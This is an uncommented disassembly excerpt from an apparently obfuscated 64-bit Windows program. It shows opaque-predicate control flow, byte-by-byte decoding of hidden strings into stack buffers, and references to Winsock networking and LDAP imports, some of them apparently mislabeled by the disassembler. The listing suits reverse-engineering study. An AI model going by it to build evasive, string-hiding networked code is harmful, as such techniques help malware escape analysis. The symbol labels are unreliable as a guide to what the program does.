sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x2d
jmp 0x1400c0162
lea rcx, [rdx + 1]
cmp rax, rcx
jne 0x1400bfb14
lea edx, [r10 - 0x2f]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x49
jmp 0x1400bffd4
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400bfe95
add r10b, 0x3c
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_46
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
movzx ecx, byte [rbp + rbx + 0x4c0]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400bf643
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400bfebd
lea r8d, [r10 - 0x78]
movzx ecx, r8b
and cl, r11b
mov edx, 0x24
sub dl, cl
add dl, dl
add r8b, dl
add r8b, r11b
jmp 0x1400bffd4
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400bfee7
sub r10b, 0x2c
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WLDAP32.dll_Ordinal_26
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
jmp 0x1400c015f
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400bff0b
lea edx, [r10 + 0x7a]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x56
jmp 0x1400c0125
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400bfad4
add r10b, 0x20
movzx ecx, r10b
and cl, r11b
mov edx, reloc.WS2_32.dll_recv
sub dl, cl
lea r8d, [rdx + rdx]
add r8b, r10b
add r8b, r11b
dec rbx
inc rbx
jmp 0x1400bf643
lea edx, [r10 - 0x48]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 8
add r8b, r11b
jmp 0x1400c0125
lea r8d, [r10 + 0x5e]
movzx ecx, r8b
and cl, r11b
mov edx, gethostname
sub dl, cl
add dl, dl
add r8b, dl
jmp 0x1400bffd4
add r10b, 0x25
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 3
movzx ecx, byte [rbp + rbx + 0x4c0]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400bf643
add r10b, 0x7f
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x79
jmp 0x1400c0000
lea edx, [r10 - 0x27]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x11
add r10b, 0x31
movzx ecx, r11b
and cl, r10b
add cl, cl
movzx edx, r11b
sub dl, cl
sub dl, 0x57
add dl, r10b
movzx ecx, dl
mov byte [rbp + rbx + 0x4c0], cl
inc r9
add rcx, r9
sub rbx, rcx
lea edx, [rbx + 4]
movzx ecx, r11b
and cl, dl
add cl, cl
sub r11b, cl
sub r11b, 0x1c
add r11b, dl
mov byte [rbp + rbx + 0x4c0], r11b
inc rax
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
movzx ecx, byte [rbp + rbx + 0x4c0]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400bf643
add r10b, 0x33
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x65
jmp 0x1400c0162
add r10b, 0x41
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
add r8b, 0x39
dec rbx
inc rbx
jmp 0x1400bf643
sub r10b, 0x65
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x3d
inc r9
dec rbx
inc rbx
jmp 0x1400bf643
lea edx, [r10 - 0xb]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x4d
sub r10b, 0x1b
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
sub r10b, 0x43
add r10b, r11b
mov byte [rbp + rbx + 0x4c0], r10b
inc r9
dec rbx
inc rbx
jmp 0x1400bf643
lea edx, [rbx + 0x5d]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
add r8b, 0x75
dec rbx
inc rbx
jmp 0x1400bf643
movzx r10d, bl
lea edx, [r10 - 0x49]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
dec r8b
sub r10b, 0x75
movzx ecx, r10b
and cl, r11b
add cl, cl
movzx edx, r8b
sub dl, cl
add dl, 0x33
add dl, r10b
add dl, r11b
mov byte [rbp + rbx + 0x4c0], dl
jmp 0x1400c015f
lea edx, [rbx + 0x11]
movzx ecx, dl
and cl, r11b
add cl, cl
sub dl, cl
lea r8d, [r11 + rdx]
sub r8b, 0x77
add rax, r9
movzx ecx, r8b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x1400bf643
lea rcx, [rbx + r15]
and dil, cl
add dil, dil
sub cl, dil
lea r8d, [r11 + rcx]
sub r8b, 0x4f
movzx ecx, byte [rbp + rbx + 0x4c0]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400bf643
sub r10b, 0x61
movzx ecx, r10b
and cl, r11b
add cl, cl
sub r10b, cl
lea r8d, [r11 + r10]
sub r8b, 0x59
jmp 0x1400bf640
sub r10b, 7
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea r8d, [r11 + r10]
add r8b, 0x31
jmp 0x1400bf630
lea rdx, [rbp + 0x175e284]
jmp 0x1400c01f9
lea rdx, [rbp + 0xffdf57]
jmp 0x1400c01f9
lea rdx, [rbp + 0x4c0]
mov rcx, rsi
call fcn.1400648b0
mov byte [rbp + 0x108], 0xfe
mov byte [rbp + 0x109], 0x80
mov byte [rbp + 0x10a], 0xb4
mov byte [rbp + 0x10b], 0xb3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x10c], xmm0
mov qword [rbp + 0x11c], rax
mov dword [rbp + 0x124], eax
mov byte [rbp + 0x128], al
movabs rdi, 0x3d4f8a4669cc92e9
movabs rsi, 0xb7ee9ed33d65b8bb
movabs r14, 0xad2cc7ece498045f
movzx edx, byte [rsp + 0x31]
nop
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
mov r11, r13
cmp r11, 0x21
jae 0x1400c0b77
movzx r10d, byte [rbp + r11 + 0x108]
mov ebx, r10d
nop dword [rax]
cmp r8, r11
ja 0x1400c0b5b
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c02bb
lea rcx, [r11 + rdi]
mov rax, rbx
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rbx
add rdx, rcx
sub dl, 0x5f
jmp 0x1400c02f4
je 0x1400c0adf
inc rax
cmp r8, rax
je 0x1400c0a60
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c0a2c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c0a0b
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c09c6
cmp r9, r11
ja 0x1400c0b3f
lea rax, [r9 + 8]
cmp r8, rax
jae 0x1400c031d
lea ecx, [r11 + 0x1d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x35
jmp 0x1400c0360
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c09ab
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c098a
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c096f
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c0953
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c0926
nop
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x1400c0623
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c0604
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c05de
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c05bd
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400c05a0
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400c0370
lea r8, [r9 + 4]
lea r9, [r8 + 0x64]
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400c0b23
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c0b07
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400c046f
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c0455
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400c052d
lea r8, [r9 + 5]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400c0500
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400c04e4
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c04c7
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400c04ac
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c0489
lea r8, [r9 + 6]
lea r9, [r8 + 0x200]
jmp 0x1400c0370
lea ecx, [r11 - 0x7d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x6b
jmp 0x1400c0360
lea ecx, [r11 - 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x19
jmp 0x1400c0290
lea edx, [r11 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
dec r11
inc r11
jmp 0x1400c0273
lea ecx, [r11 - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x60
jmp 0x1400c0a42
lea edx, [r11 - 4]
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400c0a71
lea edx, [r11 + 0x2a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x26
add dl, cl
jmp 0x1400c0a9c
lea ecx, [r11 + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x68
movzx eax, byte [rbp + r11 + 0x108]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c0273
lea edx, [r11 + 0x27]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x11
add dl, cl
cmp r8, 2
jae 0x1400c08d3
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400c07f7
lea edx, [r11 - 0x5e]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x6e
add dl, cl
cmp r9, 3
jb 0x1400c08c3
lea edx, [r11 - 0x2a]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
movzx ebx, r11b
jmp 0x1400c09e0
lea ecx, [r11 + 0x66]
movzx eax, r10b
and al, cl
mov edx, reloc.WLDAP32.dll_Ordinal_27
sub dl, al
add dl, dl
add dl, r10b
add dl, cl
jmp 0x1400c0a42
lea ecx, [r11 - 0x3e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x4e
dec r11
inc r11
jmp 0x1400c0273
lea edx, [r11 - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
inc r9
dec r11
inc r11
jmp 0x1400c0273
lea edx, [r11 + 0x1e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add cl, r10b
movzx ebx, r11b
jmp 0x1400c09de
lea rax, [r9 + 0x7a]
cmp r8, rax
jae 0x1400c0678
lea edx, [r11 - 0x17]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x5f
add dl, cl
lea rax, [r9 + r8]
cmp rax, 1
je 0x1400c0910
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x1400c0722
lea edx, [r11 - 0x7b]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x5d
jmp 0x1400c0542
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c06b0
lea edx, [r11 + 0x3a]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, byte [rbp + r11 + 0x108]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c0273
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c06d5
lea edx, [r11 - 0x22]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x12
add dl, cl
jmp 0x1400c0a71
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c06fb
lea edx, [r11 - 0x7e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400c0a42
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c0643
lea edx, [r11 + 0x54]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x4c
jmp 0x1400c08e8
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c0749
lea edx, [r11 + 0x57]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x61
movzx ebx, r11b
jmp 0x1400c09de
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c0773
lea ecx, [r11 - 5]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x23
dec r11
inc r11
jmp 0x1400c0273
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c0798
lea edx, [r11 + 0x43]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x2b
add dl, cl
jmp 0x1400c0a71
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c07bd
lea edx, [r11 + 0x15]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x6d
add dl, cl
jmp 0x1400c0a9c
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400c0544
lea ecx, [r11 - 0x19]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x51
movzx eax, byte [rbp + r11 + 0x108]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c0273
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c082d
lea ecx, [r11 + 0x74]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x2c
movzx eax, byte [rbp + r11 + 0x108]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c0273
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c0853
lea edx, [r11 + 0x18]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400c0a71
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c0877
lea ecx, [r11 - 0x44]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x24
jmp 0x1400c0a42
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c0898
lea edx, [r11 - 0x72]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, r10b
jmp 0x1400c08e8
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c0572
lea edx, [r11 + 4]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x1c
movzx ebx, r11b
jmp 0x1400c09de
mov byte [rbp + r11 + 0x108], dl
inc r11
jmp 0x1400c0273
lea edx, [r11 - 0x58]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 0x34
add cl, cl
add dl, cl
lea ecx, [r11 - 0x6f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
add r10b, 9
add r10b, dl
add r10b, cl
mov byte [rbp + r11 + 0x108], r10b
jmp 0x1400c0a42
lea ecx, [r11 + 0x7a]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rcx - 0x56]
jmp 0x1400c0a71
lea ecx, [r11 + 0x7f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x79
movzx eax, byte [rbp + r11 + 0x108]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c0273
lea edx, [r11 - 0x25]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, 3
add dl, cl
jmp 0x1400c0a71
lea ecx, [r11 + 0x37]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x7f
jmp 0x1400c0a42
lea ecx, [r11 - 0x6d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 5
dec r11
inc r11
jmp 0x1400c0273
lea edx, [r11 - 0x11]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add dl, 0x77
movzx ebx, r11b
jmp 0x1400c09de
movzx ebx, r11b
lea edx, [rbx + 0x4b]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0xd
add dl, cl
sub bl, 0x41
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x39
add r10b, bl
mov byte [rbp + r11 + 0x108], r10b
inc r9
dec r11
inc r11
jmp 0x1400c0273
lea ecx, [r11 - 0x59]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
add dl, 0x6f
dec r11
inc r11
jmp 0x1400c0273
lea ecx, [r11 + 3]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x15
movzx ecx, dl
add r8, r9
mov rax, 0xffffffffffffffff
sub rax, rcx
movzx edx, cl
add r11, rax
inc r11
jmp 0x1400c0273
lea rax, [r11 + r14]
and bl, al
add bl, bl
sub al, bl
lea edx, [r10 + rax]
add dl, 0x67
movzx ecx, r11b
add cl, 0x63
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x4b
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x108], al
inc r9
add rax, r9
sub r11, rax
lea ecx, [r11 + 0x4c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x14
add cl, r10b
mov byte [rbp + r11 + 0x108], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x108]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c0273
lea rax, [r11 + rsi]
and bl, al
add bl, bl
sub al, bl
lea edx, [r10 + rax]
sub dl, 0x1d
movzx eax, byte [rbp + r11 + 0x108]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c0273
add r11b, 0xd
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x5b
jmp 0x1400c0270
add r11b, 0x3b
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
add dl, 0x63
jmp 0x1400c0260
mov eax, dword [rbp + 0x172b594]
cdqe
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x58]
jmp 0x1400c7981
mov eax, dword [rbp + 0x17f487d]
cdqe
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x58]
jmp 0x1400c7981
mov eax, dword [rbp + 0x108]
cdqe
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x58]
jmp 0x1400c7981
mov byte [rbp + 0x2a0], 4
mov byte [rbp + 0x2a1], Ordinal_30
mov byte [rbp + 0x2a2], 6
mov byte [rbp + 0x2a3], 3
mov byte [rbp + 0x2a4], 7
mov byte [rbp + 0x2a5], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x2a6], 0x45
mov byte [rbp + 0x2a7], 0x44
mov byte [rbp + 0x2a8], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x2a9], reloc.WS2_32.dll_recv
mov byte [rbp + 0x2aa], 3
mov byte [rbp + 0x2ab], Ordinal_79
mov byte [rbp + 0x2ac], 0xa
mov byte [rbp + 0x2ad], Ordinal_30
mov byte [rbp + 0x2ae], 0
mov byte [rbp + 0x2af], 0xa
mov byte [rbp + 0x2b0], 0xa
mov byte [rbp + 0x2b1], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x2b2], 0xeb
mov byte [rbp + 0x2b3], 0xf0
mov byte [rbp + 0x2b4], 0xb3
mov byte [rbp + 0x2b5], 0x81
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2b6], xmm0
mov qword [rbp + 0x2c6], rax
mov dword [rbp + 0x2ce], eax
mov byte [rbp + 0x2d2], al
movzx r11d, byte [rsp + 0x31]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
mov rdi, r13
cmp rdi, 0x33
jae 0x1400c17ce
movzx ebx, byte [rbp + rdi + 0x2a0]
mov esi, ebx
cmp r8, rdi
ja 0x1400c17c5
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c0ca6
lea rcx, [rdi + 0x125ee]
mov rax, rcx
and rax, rsi
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rsi
add r11b, 0x7e
jmp 0x1400c0ce0
je 0x1400c174a
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c16be
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c1666
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c1642
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c15fb
movzx r10d, dil
cmp r9, rdi
ja 0x1400c17bc
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400c0d12
lea edx, [r10 - 0x7a]
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400c0d50
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c15f0
inc rax
cmp r8, rax
je 0x1400c15c7
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c15a1
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c1581
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400c12ac
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400c129e
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400c1275
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c124f
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400c1241
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400c1221
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c1201
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400c11e2
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x1400c11c2
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c1191
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400c0d60
lea r8, [r9 + 0x42]
lea r9, [r8 + 0x10]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c179c
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400c177c
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400c0f52
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400c0f33
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400c0f14
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400c1149
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400c10fc
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x1400c10bd
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400c1092
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400c0d60
lea r8, [r9 + 5]
lea r9, [r8 + 1]
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c1066
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400c1047
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400c1029
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400c100e
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400c0ff3
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400c0fd5
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c0fb4
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400c0f90
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400c0f72
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400c0d60
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x200]
jmp 0x1400c0d60
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400c0d50
lea edx, [r10 + 0x5e]
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400c0ce4
sub r10b, 0x7e
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c0c77
lea edx, [r10 + 0x30]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x50
add r11b, dl
jmp 0x1400c1619
add r10b, 0x54
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x4c
inc r9
dec rdi
inc rdi
jmp 0x1400c0c63
add r10b, 0x78
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x48
dec rdi
inc rdi
jmp 0x1400c0c63
lea edx, [r10 - 0x64]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x44
add r11b, dl
jmp 0x1400c1684
sub r10b, 0x40
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x40
jmp 0x1400c16a2
sub r10b, 0x1c
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x3c
jmp 0x1400c16a5
lea edx, [r10 + 8]
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x38
add r11b, dl
jmp 0x1400c16de
add r10b, 0x2c
movzx eax, bl
and al, r10b
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x34
add r11b, r10b
jmp 0x1400c1708
add r10b, 0x50
movzx eax, bl
and al, r10b
add al, al
sub bl, al
lea r11d, [r10 + rbx]
sub r11b, 0x30
movzx eax, byte [rbp + rdi + 0x2a0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0c63
sub r10b, 0x56
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
mov byte [rbp + rdi + 0x2a0], r11b
inc rdi
jmp 0x1400c0c63
lea edx, [r10 - 0x32]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r9, 0x7a
jb 0x1400c10ad
lea edx, [r10 - 0x2c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400c1619
lea edx, [r10 - 0xe]
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
cmp r8, 6
jae 0x1400c1548
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x1400c148b
lea edx, [r10 + 0x3c]
movzx eax, bl
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400c10d7
lea edx, [r10 + 0x16]
movzx eax, dl
and al, bl
mov ecx, 0x33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
lea rax, [r9 + r8]
cmp rax, 0x64
je 0x1400c1565
lea rax, [r9 + 0x20]
cmp r8, rax
jbe 0x1400c13a3
lea edx, [r10 - 0x4a]
movzx eax, dl
and al, bl
mov ecx, 3
jmp 0x1400c110a
add r10b, 0x24
movzx eax, r10b
and al, bl
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x2a0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0c63
add r10b, 0x48
movzx eax, r10b
and al, bl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c1708
lea edx, [r10 + 0x6c]
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
